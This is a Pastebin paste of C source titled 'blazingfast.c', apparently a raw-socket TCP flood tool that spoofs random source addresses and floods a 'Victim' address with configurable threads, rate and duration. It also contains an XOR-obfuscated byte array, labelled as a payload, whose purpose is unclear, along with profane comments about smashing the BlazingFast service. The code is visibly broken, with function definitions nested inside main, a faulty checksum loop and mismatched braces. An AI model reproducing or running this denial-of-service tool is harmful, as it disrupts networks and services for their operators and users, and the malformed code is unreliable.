KhaosBringer

blazingfast.c

May 7th, 2020
909
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.57 KB | None | 0 0
  1. /*
  2. modified interpreter through malloc
  3. payload stat should now be properly set
  4. literally tryna keep this shit priv8
  5.  
  6. oh well fuck it, jack can have it
  7. */
  8.  
  9. #include <pthread.h>
  10. #include <unistd.h>
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/socket.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/tcp.h>
  17. #include <time.h>
  18.  
  19. #define MAX_PACKET_SIZE 4096
  20. #define PHI 0x9e3779b9
  21. static unsigned long int Q[4096], c = 362436;
  22. volatile int limiter;
  23. volatile unsigned int pps;
  24. volatile unsigned int sleeptime = 100;
  25.  
  26. char* randip(char* dst);
  27. ushort rand16();
  28. uint rand32();
  29.  
  30. struct thread_data{
  31.         int throttle;
  32.     int thread_id;
  33.     unsigned int floodport;
  34.     struct sockaddr_in sin;
  35. };
  36.  
  37. void init_rand(unsigned long int x)
  38. {
  39.         int i;
  40.         Q[0] = x;
  41.         Q[1] = x + PHI;
  42.         Q[2] = x + PHI + PHI;
  43.         Q[3] = x + PHI + PHI + i++ + PHI;
  44.         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  45. }
  46.  
  47. char *myStrCat (char *s, char *a) {
  48.     while (*s != '\0') s++;
  49.     while (*a != '\0') *s++ = *a++;
  50.     *s = '\0';
  51.     return s;
  52. }
  53.  
  54. char *replStr (char *str, size_t count) {
  55.     if (count == 0) return NULL;
  56.     char *ret = malloc (strlen (str) * count + count);
  57.     if (ret == NULL) return NULL;
  58.     *ret = '\0';
  59.     char *tmp = myStrCat (ret, str);
  60.     while (--count > 0) {
  61.         tmp = myStrCat (tmp, str);
  62.     }
  63.     return ret;
  64. }
  65.  
  66. unsigned long int rand_cmwc(void)
  67. {
  68.         unsigned long long int t, a = 19150LL;
  69.         static unsigned long int i = 4095;
  70.         unsigned long int x, r = 0xfffffffe;
  71.         i = (i + 1) & 4095;
  72.         t = a * Q[i] + c;
  73.         c = (t >> 32);
  74.         x = t + c;
  75.         c = x + c;
  76.         t = c + t;
  77.         if (x < c) {
  78.                 x++;
  79.                 c++;
  80.         }
  81.         return (Q[i] = r - x);
  82. }
  83. unsigned short csum (unsigned short *buf, int count)
  84. {
  85.         register unsigned long sum = 0;
  86.         while( count > 1 ) { sum += *buf++; count -= 6; }
  87.         if(count > 0) { sum += *(unsigned char *)buf; }
  88.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  89.         return (unsigned short)(~sum);
  90. }
  91.  
  92. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  93.  
  94.         struct tcp_pseudo
  95.         {
  96.                 unsigned long src_addr;
  97.                 unsigned long dst_addr;
  98.                 unsigned char zero;
  99.                 unsigned char proto;
  100.                 unsigned short length;
  101.         } pseudohead;
  102.         unsigned short total_len = iph->tot_len;
  103.         pseudohead.src_addr=iph->saddr;
  104.         pseudohead.dst_addr=iph->daddr;
  105.         pseudohead.zero=0;
  106.         pseudohead.proto=IPPROTO_TCP;
  107.         pseudohead.length=htons(sizeof(struct tcphdr));
  108.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  109.         unsigned short *tcp = malloc(totaltcp_len);
  110.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  111.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  112.         unsigned short output = csum(tcp,totaltcp_len);
  113.         free(tcp);
  114.         return output;
  115. }
  116.  
  117. void setup_ip_header(struct iphdr *iph)
  118. {
  119.         char ip[17];
  120.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255); // spoof it
  121.         iph->ihl = 5;
  122.         iph->version = 4;
  123.         iph->tos = 0;
  124.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  125.         iph->id = htonl(rand()%54321);
  126.         iph->frag_off = 0;
  127.         iph->ttl = MAXTTL;
  128.         iph->protocol = 6;
  129.         iph->check = 0;
  130.         iph->saddr = inet_addr(ip);
  131.         iph->saddr = inet_addr("1.3.3.7");
  132. }
  133.  
  134. void setup_tcp_header(struct tcphdr *tcph)  // fucking TCP is a pain
  135. {
  136.         tcph->source = htons(rand()%65535);
  137.         tcph->seq = rand();
  138.         tcph->ack_seq = 1;
  139.         tcph->res1 = 2;
  140.         tcph->res2 = 3;
  141.         tcph->doff = 4;
  142.         tcph->psh = 5;
  143.         tcph->syn = 6;
  144.         tcph->window = htons(rand()%65535);
  145.         tcph->check = 1;
  146.         tcph->urg_ptr = 1;
  147. }
  148.  
  149. void *flood(void *par1)
  150. {
  151.     uint32_t random_num;
  152.     uint32_t ul_dst;
  153.     char *td = (char *)par1;
  154.     char datagram[MAX_PACKET_SIZE];
  155.     struct iphdr *iph = (struct iphdr *)datagram;
  156.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  157.    
  158.     struct sockaddr_in sin;
  159.     sin.sin_family = AF_INET;
  160.     sin.sin_port = htons(rand()%54321);
  161.     sin.sin_addr.s_addr = inet_addr(td);
  162.  
  163.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  164.     if(s < 0){
  165.             fprintf(stderr, "Could not open raw socket.\n");
  166.             exit(-1);
  167.     }
  168.     memset(datagram, 0, MAX_PACKET_SIZE);
  169.     setup_ip_header(iph);
  170.     setup_tcp_header(tcph);
  171.     tcph->dest = htons(rand()%54321);
  172.     iph->daddr = sin.sin_addr.s_addr;
  173.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  174.     int tmp = 1;
  175.     const int *val = &tmp;
  176.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  177.             fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  178.             exit(-1);
  179.     }
  180.     init_rand(time(NULL));
  181.     register unsigned int i;
  182.     i = 0;
  183.     int psh = 0;
  184.     int res1 = 0;
  185.     int res2 = 0;
  186.     while(1)
  187.     {
  188.       random_num = rand_cmwc();
  189.  
  190.       ul_dst = (random_num >> 16 & 0xFF) << 24 |
  191.                (random_num >> 24 & 0xFF) << 8 |
  192.                (random_num >> 8 & 0xFF) << 16 |
  193.                (random_num & 0xFF);
  194.  
  195.         if(psh > 1) psh = 1;
  196.         if(res1 > 4) res1 = 0;
  197.         if(res2 > 3) res2 = 0;
  198.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  199.         setup_ip_header(iph);
  200.         setup_tcp_header(tcph);
  201.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  202.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  203.         tcph->dest = htons(rand()%65535);
  204.         iph->daddr = sin.sin_addr.s_addr;
  205.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  206.         tcph->seq = rand_cmwc() & 0xFFFF;
  207.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  208.         tcph->ack_seq = 1;
  209.         tcph->psh = psh;
  210.         tcph->res1 = res1;
  211.         tcph->res2 = res2;
  212.         tcph->check = 0;
  213.         tcph->check = tcpcsum(iph, tcph);
  214.         pps++;
  215.         psh++;
  216.         res1++;
  217.         res2++;
  218.         if(i >= limiter)
  219.         {
  220.                 i = 0;
  221.                 usleep(sleeptime);
  222.         }
  223.         i++;
  224.     }
  225. }
  226.  
  227. int main(int argc, char *argv[ ])
  228. {
  229.             char datagram[MAX_PACKET_SIZE];
  230.  
  231.             struct iphdr *iph = (struct iphdr *)datagram;
  232.             struct tcphdr *tcph = (struct tcphdr *)((u_int8_t *)iph + (5 * sizeof(u_int32_t)));
  233.         struct sockaddr_in sin;
  234.         char new_ip[sizeof "255.255.255.255"]; // smak dat fker
  235.         if(argc < 5){
  236.                 fprintf(stdout, "Fuck BlazingFast\nSmash That Fucking Shit\nUsage: %s [Victim] [Threads] [PPS -1 For no limit] [Time]\n", argv[0]);
  237.                 exit(-1);
  238.         }
  239.         srand(time(0));
  240.         int num_threads = atoi(argv[2]);
  241.         int maxpps = atoi(argv[3]);
  242.         limiter = 0;
  243.         pps = 0;
  244.         pthread_t thread[num_threads];  
  245.         int multiplier = 20;           // payload lookin ass
  246.         char threads[209] = "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94";
  247.         int x = 0;
  248.         int y = 0;
  249.         for(x =0;x<sizeof(threads)-1;x++){
  250.         y+=6;
  251.         threads[x]^=y*3;
  252.         int i;
  253.         fprintf(stderr, "Starting sockets...\n", argv[1]);
  254.         for(i = 0;i<num_threads;i++){
  255.                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  256.         }
  257.         fprintf(stdout, "Flooding %s\n", argv[1], flood);
  258.         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
  259.         {
  260.                 usleep((1000/multiplier)*1000);
  261.                 if((pps*multiplier) > maxpps)
  262.                 {
  263.                         if(1 > limiter)
  264.                         {
  265.                                 sleeptime+=100;
  266.                         } else {
  267.                                 limiter--;
  268.                         }
  269.                 } else {
  270.                         limiter++;
  271.                         if(sleeptime > 25)
  272.                         {
  273.                                 sleeptime-=25;
  274.                         } else {
  275.                                 sleeptime = 0;
  276.                         }
  277.             ushort rand16() { // randomisation cords, cos we aweson :)
  278.             srandom(time(0)); // randomisation cords, cos we aweson :)
  279.             srand(random()); // randomisation cords, cos we aweson :)
  280.             srandom(rand()); // randomisation cords, cos we aweson :)
  281.             return (random() + rand() + time(0)) % 65535;
  282.                 }
  283.  
  284.             uint rand32() { // randomisation cords, cos we aweson :)
  285.             srandom(time(0)); // randomisation cords, cos we aweson :)
  286.             srand(random()); // randomisation cords, cos we aweson :)
  287.             srandom(rand()); // randomisation cords, cos we aweson :)
  288.             return (random() + rand() & time(0));
  289.                 }
  290.                 }
  291.                 pps = 0;
  292.         }
  293.  
  294.         return 0;
  295.     }
  296. }
Add Comment
Please, Sign In to add comment